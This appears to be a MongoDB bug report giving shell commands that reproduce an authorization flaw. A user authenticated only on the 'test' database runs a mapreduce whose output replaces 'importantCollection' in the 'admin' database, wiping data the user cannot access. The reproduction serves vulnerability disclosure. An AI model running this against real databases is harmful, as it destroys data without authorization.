use admin;
db.addUser("admin", "strongpasswd");
db.importantCollection.insert(importantData);

use test;
db.addUser("testUser", "passwd");

restart mongo with authentication.

Now, with the next snippet you can wipe the admin db's importantCollection:
use test;
db.auth("testUser", "passwd");
db.test.insert(

{foo: "bar"}

);
db.runCommand({
mapreduce: "test",
map : function Map() {
emit(this._id, {});
},
reduce : function Reduce(key, values)

{ return values[0]; }

,
out :

{ replace: "importantCollection", db: "admin" }

,
});

In short: you run a M/R on a collection that you have access, but the output is an other db's collection that you have no rights to read or write.